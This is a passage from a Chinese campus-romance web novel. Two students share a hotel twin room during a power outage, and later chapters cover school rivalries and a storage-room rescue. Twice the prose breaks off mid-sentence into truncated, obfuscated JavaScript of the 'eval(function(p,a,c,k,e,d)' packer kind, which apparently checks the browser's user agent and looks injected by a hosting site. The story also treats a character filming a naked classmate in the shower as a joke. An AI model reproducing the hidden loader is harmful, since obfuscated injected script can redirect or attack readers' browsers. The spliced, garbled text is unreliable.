“难怪,你是来蹭空调的吧?”齐恩抹了把额头上的汗,“大热天没有空调,得热死人。” 卢俜嗯了一声,把放在身侧的黑色书包拿开。齐恩顺其自然地坐下,继续翻看着新消息,才发现卢俜在刚停电那会儿就给她发了消息。 【卢俜】:到家了吗?二号楼好像停电了。 【卢俜】:一号楼的房东也说停电了,整个小区都停电了,你今晚准备在外面留宿吗? 齐恩敲了敲鼻尖:“诶哟,我没看到,对不起啊小卢,我那会儿光顾着P城钢枪去了。” 卢俜的神情看不出愠色,“没事。” 他又扭过头去做自己的事。 齐恩自觉没接到他的消息也很尴尬,喝了口冰水:“晚上的火锅太咸了,我嘴都是干的。” “和同学一起吃的?”卢俜出于礼貌接话。 “是啊是啊,我、高玟、袁礼米,还有谌俞和张其薪。”齐恩示意自己的手提袋,“吃饱喝足,还买了衣服和鞋,又和他们网吧开黑。” 卢俜没什么能说的,好在齐恩也不需要他接话:“话说你和张其薪是不是有过节啊?” 卢俜人淡如菊,比大如传里的如懿还要淡漠,说了句不清楚,视线依旧停留在英语阅读上。 “别写了!死书呆子,聊会儿天啊!” 齐恩一把扯过英语报。 卢俜蹙眉,手还捏着笔停在那儿,但对齐恩的霸道也不感到意外,“你想聊什么?”他摘下黑框眼镜,揉了揉用眼过度而疲惫的眼。 “你和方婕还有张其薪,你们真有故事?” “有什么故事?”卢俜简短地解释,“高一的时候,张其薪喜欢过方婕,方婕没同意。” “方婕没同意是因为她喜欢你?”齐恩问。 “那和我有什么关系?反正我不清楚。” “靠!”齐恩觉得他这话很滥情,“你不是不清楚,只是不主动、不拒绝、不负责而已!” “……无不无聊。” 卢俜不是喜欢聊这个的人。 齐恩心想,问他点什么跟要了他的命一样。 “我们俩的关系怎么样?”她去撞他肩膀。 卢俜闷不做声,在想她刚才说的那些话。 “一般吧。” “嘿———”齐恩拔高音调,“你这样不行,侃两句就急眼了,噜噜个小猫脸,特别不好。” “我没有。”卢俜深吸一口气,突然说了一大长串,“方婕喜欢谁是她的事吧,我不是不懂拒绝,是她不说,我也不知道怎么回绝。如果突然提的话,很尴尬,而且后续很麻烦。” 这话总算解释清了。 “你不是会说话吗?”齐恩埋怨道。 “……”怎么说都是错,卢俜将眼镜放在桌上,转换了话题,“你和方婕不是很对付?” “是因为你,但不是为了你,至少我不是。” 我没那么大脸面,卢俜腹诽,“知道了。” “诶,小卢猫,把你的小猫脸抬起来。”齐恩还很新奇,“我还是头一次见你摘眼镜呢。” “……你能不能不要再这样叫我了。” “这么应激干嘛?外号而已啦。”齐恩笑眯眯的,“要是不爽,你也可以叫我的外号啊。” “我不想叫……再说你也没有什么外号。” “你可以叫我齐学姐,齐姐,恩姐。” 齐恩循循善诱,占便宜的意图明显。卢俜不理会她了,抢过阅读报纸,重新垫回手腕下。 齐恩伸手去摘他的兜帽,“你给我看看呗。” 卢俜忍无可忍,干脆自己把帽子摘下来。雪白温柔的灯光映在脸上,没有眼镜做遮挡,原本的五官都显现出来。同样棕褐色的眉和眼睫,内双眼皮,深可可色的瞳孔,眉目素净青涩。 高挺的鼻梁,两侧被眼镜压出的红印还没有消退,鼻头不尖锐也不厚钝,有挺翘的小弧线。其实比起猫,用小熊来形容比较合适,他脸上钝角比较多,不会给人难以接近的凌厉之感。 卢俜被齐恩看得太局促了。 “……别这样盯着我看。” 这时候群里总算有新消息了,物业的人说明天中午才会来电,群里顿时听取骂声一片。 “物业费收那么贵,怎么就不能修快一点?” “甘霖娘,这大热天,热死人谁负责啊?” “就是,我家小孩明天还上学呢,现在都热得睡不着!”还附赠一段孩子哇哇乱哭的视频。 齐恩其实这会儿已经有点困了,看到消息后,更是气得没话说,扶额道:“这罪遭的!” 卢俜看她眼底都是红血丝:“……你可以趴着睡会儿,我在旁边看着,东西不会丢的。” “趴着怎么睡啊?”齐恩诉苦,“我刚考完就想好好休息一下,结果遇到这事儿!” 卢俜看了一眼身后的沙发区,早就被几个打着呼噜的大妈占领了,看起来并不好交涉。 齐恩忍不了了,一把拽起卢俜:“走!” 卢俜有不好的预感:“……去哪儿?” 齐恩把身份证拍在桌上:“开房去!” 11. 双床问题 齐恩声音其实并不大,但卢俜还是倏然站起,去捂住她的嘴。“·……你胡在说什么?”他的脸颊红到滴血,‘能不能别再瞎讲话了?” 齐恩挣开他:“什么呀?不开房睡难道就睡在这儿吗?这什么环境啊?你睡,我可不睡。” “……那你自己开去。”卢俜坐回去。 齐恩乜着他:“那你呢?在外面风餐露宿?” “我就在这儿。”卢俜很坚决,“等来电。” “那不是要等到明天中午?”齐恩挑了挑眉,“我的老弟,你别天没亮就猝死了耶!” “……不至于。”话题回归正常,卢俜刚松了一口气,却发现齐恩的眼神似乎不太对劲。 她一声不吭地盯着他身侧的书包。 说时迟,那时快,卢俜几乎心领神会,伸手护自己的书包,可他毕竟没有女国手的动作快。 齐恩一把抢过:“你跟我来就是了!” 说完她拔腿就跑,卢俜只得抬脚去追。 两人一前一后出了便利店。 凌晨的大街上人影疏疏,两道年轻鲜活的身影在霓虹错光里角逐。齐恩在前面兴冲冲地喊: “来追我啊!小卢猫猫!” 卢俜心想这叫什么事儿,招惹上这么一个活祖宗。他懊恼极了,拖着沉重的步伐去追。奈何齐恩体能太好,和他的距离越拉越大。卢俜堪堪转过拐角,就看到齐恩钻进一家城市便捷。 等等,他的脚步一时间顿住了。 城市便捷酒店。 城市男女。 便捷方式。 酒店一夜。 卢俜全身上下的血液都冷僵了,他畏光般木讷呆楞,伫立在那宾至如归的暖色柔光之外。 齐恩笑嘻嘻站在门口,甩着他的书包带: “好学生,你进来呀———进来呀———” 卢俜说:“……齐恩,别玩了,快出来!” 他还正儿八经喊她名字,齐恩乐极了。 “别磨叽了,都是你情我愿的事儿,咱们订个双床房,你不碍着我,我也不碍着你!” 两人隔着一段楼梯对喊,不时有人侧目。 卢俜对麻烦避之不及,如同热锅上的蚂蚁。 “我……拜托你,先出来。”他难得服软。 齐恩反而比出搞笑电影里的招牌动作。 “你———过来啊!” 忍不了,忍不了一点,卢俜切着齿上前。 齐恩说你听我的就完事了,保证给你安排得服服帖帖,就飞快地推他进门,“我刚开玩笑的,咱订两间房不就行了吗?都说了你来榕城,我来安排,是不是这个理儿?诶听我的就对了!” 卢俜去拽自己的书包带子,齐恩就扯着另一头和他僵持,又转头对前台问:“还有房吗?” “您也是这附近停电的吧?真不巧,我们这儿都满房了,今晚也有好几个临时来办入住。” “唉———”齐恩垂头丧气。 卢俜反而松了一口气。 “但是,刚刚有个预定双床房的说来不了。”前台说,“您看行不行,这是唯一的房了。” “好耶!!”齐恩递出身份证,“办!” “好,您录身份证和指纹就可以了。” 对于卢俜来说,从云端坠回地面,变故就发生在一瞬间。他不可置信,尴尬地退后了两步。 情急之下,他拉住她:“不是说两间房?” “这不是只有一间了嘛?”齐恩十分豁达。 “……没必要。”卢俜恳切地劝道,“可以去其他酒店,整个街区又不是只有这一家……” “小帅哥。”前台笑着打断他,“你可以看看某团和某程,这个时段基本上都没有空房的。也就是有人临时取消预约,才多个双床房。” “……” 齐恩很快就拿到了房卡,卢俜坐在大堂的沙发上,抱紧了自己的书包,说什么也不肯起身:“你自己上去睡,我,我在这儿对付一晚。” “有床不睡要睡沙发,你是不是贱的?”齐恩百思不得其解,“睡一间房能咋的你了?” 卢俜视死如归:“你也应该自重一点儿。” “大清都亡了!”齐恩说,“再说,就是搭个伙临时对付一晚而已,这不纯纯省房钱吗?” “我……”卢俜鼻尖已经沁出薄薄的汗。 “诶,那个好像是咱们学校的。”齐恩一指。 卢俜心里一凉,下意识地看过去,只下一秒,齐恩迅速抽出他兜里的手机,转身就跑。 他也是信了她的邪!卢俜觉得自己面对齐恩,是吃一堑吃一堑再吃一堑,永远长不了一智! 无可奈何,书包被抢还可以再说,手机被拿,就真的什么都做不了,卢俜只得跟了上去。 齐恩闪进电梯,还特意给卢俜留了门,等他钻进来,电梯门正好关上,晚一秒都达不到这个喜剧般的效果。两人在封闭空间里面面相觑。 齐恩立刻就憋不住了,靠着墙角乐弯了腰。 卢俜既恼又窘,“……这样你满意了吗?” “不是,我就不明白了。”齐恩边笑边说,“你怎么一副怕我吃了你的样子!” “你……”卢俜哑口无言。 “我又不是妖怪,咱俩各睡各的,谁也不挨着谁。”齐恩正色,“我一个女的都不怕吃亏,你还在这里扭扭捏捏,像什么男人样儿?给我立正!抬头挺胸收腹,提臀,往前走!” 卢俜顺着她的话往电梯外走去。到了房号正对的房门口,齐恩刷卡打开,卢俜戴上了兜帽。 “你干嘛,做贼似的,还把帽子一戴,别像来做什么亏心事的,不知道还以为你要来嫖。” 卢俜呼吸一窒:“你……!” “你你你,你半天了,说个话都说不利索。”齐恩跑了这么久,也浑身是汗,抬手开中控,“二十度可以吧?你要是觉得冷,自己多盖两层被子,我习惯睡二十度,太热受不了。” “……随便。”卢俜抱紧了自己的包,不知该在哪里落脚,齐恩在靠窗一侧的床坐下给手机充电。卢俜只能尽可能贴着墙壁走到自己的床边,默默丈量着两张床之间那一臂宽的距离。 吹了会儿空调,卢俜的心也静了一些。孤男寡女共处同一个房间的尴尬还未消散,他悄悄地瞥向齐恩,发现她在换酒店的拖鞋,细长葱白的手指拆开塑料袋,发丝半掩住美丽的面孔。 注意到他的视线,齐恩也抬头看他。 “我先去洗了哦,还是你先?” “洗……澡……?” “那不然呢,我玩了一身汗啊。”齐恩说。 卢俜终于忍无可忍:“你能有点安全意识?” 齐恩错愕了一瞬。 “你这样随便和一个男生来酒店,随便开房,随便共处一室,现在又要……”卢俜掩着面,“洗澡。”他的声线沉闷,鼻音含糊,“你没有想过后果,如果我是个居心不良的人?” “你再怎么厉害,也是一个女生,如果我趁这时候……或者趁你洗澡的时候……”卢俜深吸一口气,“我趁你没有防备的时候,对你图谋不轨,你该怎么办?你应该有一些戒备心。” 齐恩笑笑:“这事是你卢俜能做出来的?” 她太信任他了。 卢俜无言以对。 齐恩去洗澡,没有洗头,酒店里的护发素也用不惯。她出卫生间喊卢俜去洗,卢俜说不用,齐恩看他束手束脚,实在不好再为难他什么。 “你还需要开灯吗?我有点想睡觉了。” “睡吧。”卢俜立刻把灯关了。 齐恩平躺着睡,很快就睡着了。半夜她尿急,想起来上厕所,才看到卫生间灯没关,有淅淅沥沥的水声传出来。卢俜的床位上没有人,他去洗澡了。嘿,这都要背着人,实在矫情。 齐恩翻了个身,想到卢俜今晚的种种举止,对一些事难以启齿的措辞。其实他是一个很尊重女生的人,这个好学生。齐恩和他相处的时候,感觉到最多的就是这个,他对她很得体。 又想到他在她洗澡前说的那番话。 齐恩的心不由自主地漏掉一拍。 她想到一个很坏很坏的坏主意。 但齐恩又觉得自己不该那样。 才怪。 她大力推开卫生间的门,大喊: “Surprise,motherfucker!” 水雾缭绕之间,卢俜的身影就那么水灵灵地撞进齐恩的视线里。她一开始是坏笑着的,视线越来越往下,却笑不出来了,默默比了个wow的口型,不由自主地打开了手机的摄像头。 卢俜崩溃了:“齐恩!!你给我出去!!” 齐恩笑得脸都要烂了,卢俜都红温了,这小老弟,哈哈哈哈,哈哈哈哈哈,不过有的地方可不小。齐恩觉得自己老贱了,这事能怪她吗?不能啊,卢俜自己就应该有点儿戒备心才对! 几分钟之后,卢俜气冲冲地从卫生间里出来。齐恩在床上若无其事地玩手机,手背遮住鼻梁以下的部分,防止他看到自己偷笑。可卢俜光从她瞄过来的眼神,就能看出来她在笑什么。 “……你再笑?”卢俜气得下眼眶都红了。 “不,卢先生,我们经过严格的训练!”齐恩抬手说,“无论多好笑,我们都不会笑。” “除非……”齐恩抱着被子倒在床上,“除非实在憋不住,哈哈哈,哈哈哈哈哈哈!” 卢俜不懂,一个女生怎么能做出这样的事情,齐恩却太懂了,逗一个怎么生气都不会骂人的家伙,他越拘谨,你越想看到他气急败坏,更何况卢俜本来就不会破防,或者说,难的很。 齐恩笑够了,忽视卢俜阴怨的视线:“我要去上厕所了,我本来就不是故意的,我只是被尿憋醒了好吗?而且谁家好人大半夜会在卫生间洗澡啊,我以为遭贼了呢,这不能怪我。” “……扯。”卢俜背对她躺下,“少扯淡。” “那你要不要看我尿尿呢?一报还一报。” 说又说不过,打又不能打,他没有齐恩那么不要脸。卢俜窝囊地面壁而睡,一言不发。 齐恩上完厕所出来,看到隔壁床鼓起的小包,差点没忍住笑,所以上了床才发现灯没关。她和他打商量:“好学生,帮我把灯关了呗?” “……你自己没手吗?”卢俜说话好冷漠。 齐恩只好把灯关了,摸黑上床,不出意料地撞到床角,嘶了两声,揉着小腿钻回被窝。 奇怪的,这次闭眼却怎么也睡不着了,齐恩翻了个身,尝试了几次,依旧精神焕发。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“也不全是。”卢俜的耐心耗尽了。 “行了,快睡吧。” “哦。”齐恩顿了顿又解释,“我不是有意问你家里的事,我只是看你那里的毛……” “齐恩!”卢俜一瞬间清醒了,“闭嘴!” “好好好,知道啦知道啦。”齐恩嘿嘿一笑。 卢俜抓狂地揉了揉头发,只后悔自己没锁门。 过了一会儿,齐恩又说: “我知道一个双床房的冷知识。” 卢俜正愁不知道该怎么缓解尴尬:“你说。” “情侣们来办入住,最常办的就是双床房。” “……难怪当时前台看人的眼神那么怪。” “你知道为什么吗?”齐恩没憋好屁。 卢俜对此没有察觉:“为什么?” “因为双床房有两张床,小情侣想打炮的话,用一张床做,弄脏了还可以睡另一张床。” 卢俜被她聊天的尺度惊呆了,齐恩又说:“钟点房里双床房也是首选,你知道为什么吗?” 他制止道:“我,我并不想知道是为什么。” “钟点房一般三到四个小时,按照正常的频率来说,就是两到三次,大部分的情侣是两次。正好两张床都弄脏了,人也办完事了,可以拍屁股走人。你看,这样是不是非常划算?” 卢俜被迫接受到新知识,他既震惊又困惑。 “再发散一下思维。”齐恩的眼神亮闪闪,“两张床铺上两层被窝,还可以多做两次!” “这算什么歪理?”卢俜不自觉道,“照你这么说,垫上浴巾还可以多做两次……” 意识到自己被齐恩绕进去了,卢俜迅速闭嘴。 齐恩还在喋喋不休:“我考你一个,一对情侣,一男一女,两个人来双床房过夜,如果时间条件允许,男性女性的身体条件允许,一间房的配置,他们做了二十次,这是为什么?” 这是什么烂题?! 卢俜决定不回答她了。 齐恩喂了两声,见他装死,也就撇嘴睡下了。 等齐恩睡醒时,已经是次日早九点。 她看到卢俜眼下浓厚的乌青。 “我昨晚想了一宿。”卢俜面无表情。 齐恩愣了愣,她自己都忘了:“想什么?” “那个……双床房一夜二十次的题!” “哦哦。”齐恩失笑,“那你想出来了吗?” 卢俜却难得颓唐地摇了摇头:“没有。” “我想了很多种情况,不止被窝、浴巾、甚至还有浴袍,所以能垫的东西都算一次。”卢俜扶额,“生编硬凑也凑不满你说的二十次,这道题到底有没有正确答案,你不会瞎编的?” “不可能!”齐恩义正严辞,“只是你自己想不出来而已!要不要姐来告诉你正确答案?” 卢俜想说我才不想知道,可洗完脸刷完牙,直到要退房,这问题仍然在脑海里萦绕不散。 出了酒店,卢俜终于开口:“请你告诉我。” “行,你叫我一声齐恩学姐,我就告诉你。” 卢俜咬牙切齿:“齐恩……学姐。” 齐恩于是很大声地笑起来:“你笨啊卢俜,谁告诉你只有床上才能做?沙发、桌边、窗前、地毯上、还有浴室里,想做在哪儿不能做?又不是非得用把床单弄脏的姿势,哈哈哈哈!” 纯洁的卢俜顿时脸颊爆红。 齐恩早就笑着跑出去老远了。 12. 文明扣分 卢俜简直怕了齐恩,漂漂亮亮一个正经姑娘,怎么可以随时随地开黄腔。 他不知道,齐恩也不是对哪个男生都这样的,只是卢俜才是太老实本分的那一个,看到他,齐恩就忍不住犯点浑。要不总说街上的坏小子乐意逗小姑娘脸红呢,简直是太过瘾了! 早上九点的太阳落在齐恩奔跑的身影上,她穿简单的白短袖,白短裤,浑身像纸一样纤薄,却又有很强的生命力。仿佛世界变成她的冰场,阳光穿透层层坚硬的玻璃穹顶,才有殊荣落在她美丽的眉骨,鼻梁和唇间。在十字路口停下,兴冲冲地转过头看他,然后朝他坏笑。 “卢俜,你能走快点儿吗?我都快饿死了。”她催促他,“走,学姐带你去吃早饭。” 卢俜很疲惫,睡眠匮乏,他的眼底红通一片。 他下意识抬起手遮住日光。太绚目了。 其实不止是日光。 他朝着齐恩走了过去。 “……来了。” 齐恩和卢俜在聚民街尾的早餐摊随便应付了一下。天太热,谁也不想吃油腻的,齐恩点了碗杏仁茶慢吞吞地喝,卢俜吃的鸡蛋肠粉。吃到一半,居民群里说来电了,终于能回家了。 上楼梯时,卢俜的步态难得拖沓,齐恩说:“我打赌你回家倒头就睡,睡到晚上才起。” “你想多了,不会。”卢俜摇头。 “你是猫啊卢俜!你真不怕猝死?” “现在睡了,晚上就睡不着了。”卢俜说,“而且猫的睡眠时间比人要长。” “我看你还是多少睡会儿吧,你这红血丝。”齐恩偏头看他,“男人要对自己好一点。” 这是什么说法?卢俜迟疑片刻,却找不到任何反驳的理由,他只好敷衍地嗯了一声。 回到家,卢俜穿过空荡荡的客厅,某一刻突然感觉到耳根清净了,过分安静了。 一离开她,整个世界都平和下来,卢俜心想,其实齐恩话没多到那个份上。 走到卧室,打开空调,在卫生间换了衣服,他还是觉得身上有汗味,折身回去洗了个澡。 洗的时候卢俜也惴惴不安,昨晚在酒店被齐恩突闯浴室看光光的阴影还挥之不去。 尽管落了锁,但他还是有异样的感觉。 洗完之后,卢俜看了会儿书等头发干。 结果有点儿困了,没忍住在床上睡着了。 等他再醒过来的时候,眼前橘红一片。 卢俜默默地看向窗外,已经是日落时分了。 还真是和齐恩说的一样,他睡到晚上才起来,卢俜坐起身,又生出一种无端的挫败。 睡眠让水分流失,他口干舌燥,去冰箱翻了一瓶东方树叶,微苦入喉,思绪清醒不少。 客厅里同样也是很寂静,灯没有开,灰蒙蒙的一片里,卢俜并非伸手不能看见五指。家具还摆放在原地,只是一晚上没回来,就变得有些陌生了。其实陌生的人是自己。 所以卢俜才不喜欢突然出现的变数,会改变人的习惯,就像他本来是不会睡到现在的。人在睡醒时发现孤身一人,天又是黑沉沉,所以才会感觉到孤单,有科学依据,并非无迹可寻。 也不是因为和谁共度了一段时光。 卢俜饿了,出门去买填肚子的吃食。 在楼道口,他又遇到了齐恩。齐恩在戴护膝,一种跑步用的工具。眼前热烫的光线被遮挡,她也抬起头来,看到了一脸冷漠的卢俜。 冷漠只是他的伪装色。 齐恩问:“你是不是刚睡醒?” 卢俜不明白她是怎么知道的。 他想起那个赌:“……不是。” “还不是。你脸上都睡出书印了。” 卢俜抬手摸自己的脸,还真有。 齐恩笑得更大声了,顺其自然和他并肩下楼。 “你是在书桌前睡着的吗?” “没有,在床上睡的。” “那怎么脸上睡出印儿了?” “书是……盖在脸上的。” 卢俜扯开令自己难堪的话题:“你去跑步?” “是啊。”齐恩活动着手腕脚腕,“夜跑。” “一个人?” “不然你陪我?” 卢俜不说话了。 “你出门干嘛?吃晚饭?” “嗯,随便应付一点。” 有一搭没一搭地聊,已经走到了街口,齐恩去望江公园,卢俜去马路对面的罗森。 到分道扬镳的时候,卢俜罕见地叫住了齐恩。 他喊了她的名字:“齐恩,跟你说个事。” 郑重其事的语气,齐恩似有所感:“你说。” “你的脚也好的差不多了,都可以夜跑了。” 齐恩驻足,预料到他下一句要说什么。 “以后上学放学,我们可以不用一道走。” 齐恩沉默了片刻。 “……可以。” 再次分开时,齐恩的嘴角才渐渐绷直了。在她身后,卢俜仍旧注视着她,一直捏紧的拳头骤然松开了。齐恩眼底一闪而逝的不解、恍然,卢俜其实捕捉到几分。他本不该有那么大的负罪感,齐恩是很没边界,哪有这么咋咋唬唬、颐指气使、拿人东西就跑、乱开黄腔、还闯进浴室故意笑话他难堪的人?卢俜就算讨厌她,恐怕也理所当然……可卢俜并不讨厌她。 意识到这一点,卢俜感到荒谬。 他摇头苦笑,转身往便利店去。 . 下周一,月考成绩新鲜出炉。 十七班发生了两件大事。 第一件,张其薪考了年级文科第一。 他的分数条以班级为范围进行传阅。 这风头甚至盖过了本次的理科第一卢俜。 当然全校第一永远是全校第一,总分上,卢俜是当之无愧的第一。可大家都知道文科和理科的赋分有差别,卷面难度也很难比较,因此排名的时候都会区分开。张其薪是文科生中总分最高的,就连袁礼米也考进了年级前五。一时间,不光是学生们,教师办公室都一片哗然。 老师们都感慨十七班的学生如此争气。 但这显然和班主任刘彩没什么关系。 而另一件大事,则和齐恩有关,她的政治单科是全年级最高,和袁礼米并列第一。 张其薪去办公室抱数学卷子。 齐恩和袁礼米已经在里面了。 任何时候,齐恩总是最容易被瞩目的。张其薪先看到她,才发现她身旁的袁礼米。两个人正被一众出卷老师们询问,当然,齐恩是主要被盘问的对象,一位男老师手拿着她的答题卡。 齐恩没什么遮掩的,问她什么她就说。这次也是很凑巧,考的都是背过或者有印象的。 袁礼米反而理所当然:“这不是很正常吗?我教的我同桌,她考的不好也说不过去吧。” 睡神就是睡神,那惺忪的睡眼,轻描淡写的态度,只差把“不收徒”写在脸上。 上午最后一节是体育课,大家都在教室里吹空调瞎扯淡,打算提前去食堂吃饭。谌俞终于请上了小炒,虽说自掏腰包请了高玟和袁礼米,但也请到了齐恩。 “你是不是快生日了?”谌俞若无其事地,“我给你准备了礼物。” “嚯,真的啊?”齐恩很意外,“准备了什么啊,别太贵重啊,我还不起。” “没有,就普通的礼物,你就敬请期待吧。” “行,谢谢你啊。”齐恩并不推脱于此。 俗话说得好,食堂那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周第恨恨地瞪过来一眼。 高玟是东北人,一下子有情绪了: “你瞅啥?” “瞅你咋的?” “你再瞅一个试试?” “就瞅你咋地了?” 局面逐渐不可控制。 方婕终于倨傲地开了口:“我作为会长,当然要知道哪个班翘课了,翘课难道不扣分么?” “咱们班最后一节是体育课,本来就是自由活动时间啊,又没老师讲课。”谌俞辩解。 “没有老师就可以提前下课?没这规矩。” “扣扣扣,一天到晚就是扣!”高玟忍无可忍,“随便你扣呗,反正在你手底下,我们十七八班就没拿过一次文明班级,说的和谁稀罕似的。扣来扣去,也不知道你想针对谁!” “我没有要针对谁的意思。” 方婕拿出记分本,“公事公办而已。” 高玟挽起胳膊就要上前。 张其薪立刻拦住了她。 他是吃过亏的人,和一班人硬碰硬是不行的,之前那事就是教训。先忍不住动手就输了。 “那我也有一个问题。” 齐恩忽然发话了。 当她沉默的时候,硝烟已经无声地弥漫。 但我们的主角显然不是一枚炸弹那么简单。 “会长,随便污蔑同学,在网络上传播别人的谣言。”齐恩撑着下巴,笑意精致而倦怠。 “这个分,该怎么扣啊?” 13. 等你放学 方婕脸上的神色一瞬间凝固。 “……你说什么?” “我说,你在网上散播了关于我的不实消息,你诬陷我。”齐恩狡黠一笑,“不是吗?” 方婕还未回答,周第却不可置信地叫嚷道:“齐恩,你不能因为长得漂亮就血口喷人!” 齐恩抖出的事也完全在十七班人的意料外。 所有人都不知情,就连高玟和袁礼米也是。 齐恩轻描淡写,“我血口喷人吗?”她急促而轻快地哂笑,“要不我们去政教处对峙?” “去就去!谁怕谁啊!”有人抢先道。 学生会长却一瞬间变了脸色。 “……齐恩。”方婕挤出一个难堪的笑容,“我想和你单独聊聊。” “聊什么?”齐恩想她拿着小本本扣分时可没有这样的耐心,“让大家也听听呗。” “我……我……”方婕咬着下唇,饱满的脸颊憋得通红,晶莹的泪水浸湿了下垂的眼眶。 高玟“腾”地一下站起来:“你说别人坏话还有理了是吧?!!你还先卖起惨了?!” “我……那不是我……”方婕气势弱了下来,嗫嚅早,“你肯定是听别人说了什么。” “那我究竟听谁说了什么?”齐恩反问。 “你敢复述一遍么?” “你不敢!”高玟反应很快,立刻帮腔道,“因为你真的说了齐恩的坏话!” “我没有!……你们根本没有证据!” 周第再次站了出来:“齐恩,你仗着自己是运动员,就来欺负我们平民百姓了是吧?觉得你有权有势又好人缘,我们普通人玩不过你?” 齐恩挑眉,倒是不知道周第还是个护花使者。 不过,随便给她扣帽子,可不是明智的做法。 “你他妈说什么呢?”谌俞站起身活动手腕,“周第,我他妈劝你说话三思啊!” “怎么,你们十七班又要打人了?”有人说,“上次张其薪没挨处分不过瘾?” 张其薪绷直眼睑,气得脸上血色尽褪,却还是把谌俞往回拉了拉:“别当先动手的。” 众人的围观把隔壁职工区的老师也引了过来。 “怎么回事啊?”十八班的班主任秦东明走进人群,“聚在这儿干嘛呢?又吵吵什么呢?” 这是自己人,和刘彩喝水都不分杯子的哥们,高玟立刻上前告状:“老师他们一班简直欺人太甚了,我们班体育课提前下课也不行,非得扣我们班的分!” 长嘴就是好,高玟三言两语阐明了事态。 嗓门之大,语速之快,一点不给东北人丢脸。 “那怎么行?”秦东明可没刘彩那么木,职场老油条一根了,顺着高玟的话就说了下去,“那可就是你们一班孩子的不对了啊,校干部也不能乱扣分啊。” “老师,我……”方婕眨着泪眼。 秦东明不由分说打断了骄傲的会长:“行了,这事就到这儿了啊,是你们一班做的不对。剩下的人,该吃饭吃饭,该回班回班。” 十七班人全都星星眼,有老师护着就是好啊!他们也终于享受到周第在柯俐那儿的待遇。 秦东明一句话的事,这个偏架就算被拉完了,他拍了拍屁股,悠哉悠哉捻根烟走远了。 “听到没,你们一班人还杵这儿干嘛?伺候我们用膳?”高玟拿筷子指人,“还不退下?” 方婕脸上火辣辣,一行人转身离去。 身后的人群里传来了刺耳的议论声。 “方婕真的说了齐恩的坏话?怎么听老师的意思是真的?看起来另有隐情的样子啊!” “不知道,不清楚。不过嫉妒齐恩也是理所当然的事情吧,那么漂亮又那么优秀,我真的好羡慕十七班人啊,每天上课不得回头看她七八次?她的脸我都不知道该看哪里,太美了。” “方婕确实就是那种作风啊,喜欢找茬,特别爱找女生的茬,对男生对女生完全两个态度!她就从来不抓男生逃课,你看那几个抱着篮球的,不也是翘课打球,她怎么不说他们?” 方婕离开了,其余人说是解气,也解气不了多少,饭都吃不下去了,索性收拾收拾回班。 齐恩原本以为事情到这儿就算完了。 可周五发生的意外却让她措手不及。 实在凑巧,齐恩中午没吃饱,下午饿得血糖都下去了,她趁着课间去小卖部买吃巧克力。 食堂在操场的西南角,偏西是操场的观台和负一层的器械储存室,齐恩路过时隐隐约约听到动静,循声望去,器械室的铁闸门倏然响动,然后,拉了下去! 里面还有人!齐恩意识到,跑过去的时候闸门已经快到底了,说时迟,那时快,她拿过一旁的拖把杆卡了进去,给最后一点间隙卡出了。 里面传来的呼救声更大,曾经听过的声音。 是上次在餐吧讲了她坏话的两个女生。 “……是你们?”齐恩问,“还好吗?” “齐,齐恩?是齐恩吗?”里面传来慌乱的呼喊,“我们,我们被困在里面了!” “别怕,我把这个门撬上去,你们能出来。” 齐恩安抚她们,光洁的额头冒下一滴滴汗珠。 咬住牙关,她手上使力,没注意拖把杆上的木刺。倒刺划进掌心,血淋淋的红珠窜了出来。 来不及痛呼,因为下一秒,木杆整根断裂。 齐恩惊叫了一声,可闸门的下落戛然而止。 有人用手臂硬生生抬住了它。 卢俜回过头对看齐恩说: “你受伤了,先站远点。” 齐恩低头,才看到手上红了一片。她顾不得别的,用肩膀抬住另一边,和卢俜一起使力。 闸门缓缓打开,更大的缝隙出现了,钢铁在头顶低声咆哮。齐恩鼻尖的汗液滴在卢俜衣袖。 终于,两个女生艰难地爬出缝隙。 她们心有余悸地看着身后轰然落下的铁门。 齐恩脱了力,四仰八叉地坐在地上,体内的肾上腺素褪下,她感觉手臂重得像被碾过。 齐恩还对卢俜的出现又点意外,他已经架高她的手,“不要放在地上,伤口沾灰会感染。” “唉,没事没事。”齐恩嗓子都在生烟,眼冒金星,“巧克力……先给我吃一块!” 卢俜看到她甩到一旁的塑料袋,里面装着一板巧克力和几瓶冰水,他拆开铝制的包装纸。 齐恩左手接过,咬一口含在嘴里,黏糊糊、吧唧吧唧地用腮帮子嚼着。并不是好吃的东西,但身体需要糖分,爆发之后的亏空需要能量去弥补。齐恩是运动员,对自己的身体更有数。 也是多亏了她的反应力。 才让两个女生及时获救。 “不然这大夏天,地表温度超四十度,要是被关在里面,不超一个小时就得中暑。”齐恩拿手背擦着下巴的汗,“你们是怎么被困在里面的?要落闸了难道没人提醒你们吗?” 那名告密的女生欲言又止。 另外一个女生:“是方婕做的。” “方婕说学生会的日志落在里面,让我们课间来取一趟,我们来了,就遇到这样的事。”她后怕地瞧着闸门,“谢谢你和卢俜,多亏你们来了,不然我们要在这里被关一节课了。” “这么大的事?”齐恩蹙眉,“去政教处!” “不,不行!”告密的女生脸色惨白。 “她就是为了惩罚我,我跟你说了那些……要是把事情闹大,她肯定还要来对付我……” 齐恩气的想笑,顺带瞥了一眼还支着她右手的卢俜:“瞧瞧。这就是你家方婕做的好事!” “……我不知情。”卢俜低头,“抱歉。” 他的侧颊一块灰扑扑,方才在闸门上蹭的。 “既然这样,不是更应该跟老师说么?”齐恩对她们说,“有事找老师,这不是玩笑话。” “算……算了。”告密女生的声音都在打颤,“你不是我们,你不知道的,这件事如果不计较,过去就过去了……方婕的爸爸是校董会的,柯老师……柯老师也不敢公事公办……” “意思是你们打算息事宁人咯?”齐恩轻嗤一声,“行,你们的事,我不过问了。” 她伸手,拍了拍裤腿上的灰尘,卢俜已经轻车熟路地搀扶住她,使她借力站了起来。 “对了,方婕知道你发聊天记录的事?” “她只知道我和你说了,但是聊天记录……” 齐恩闻言颔首。 “好,我知道了。” 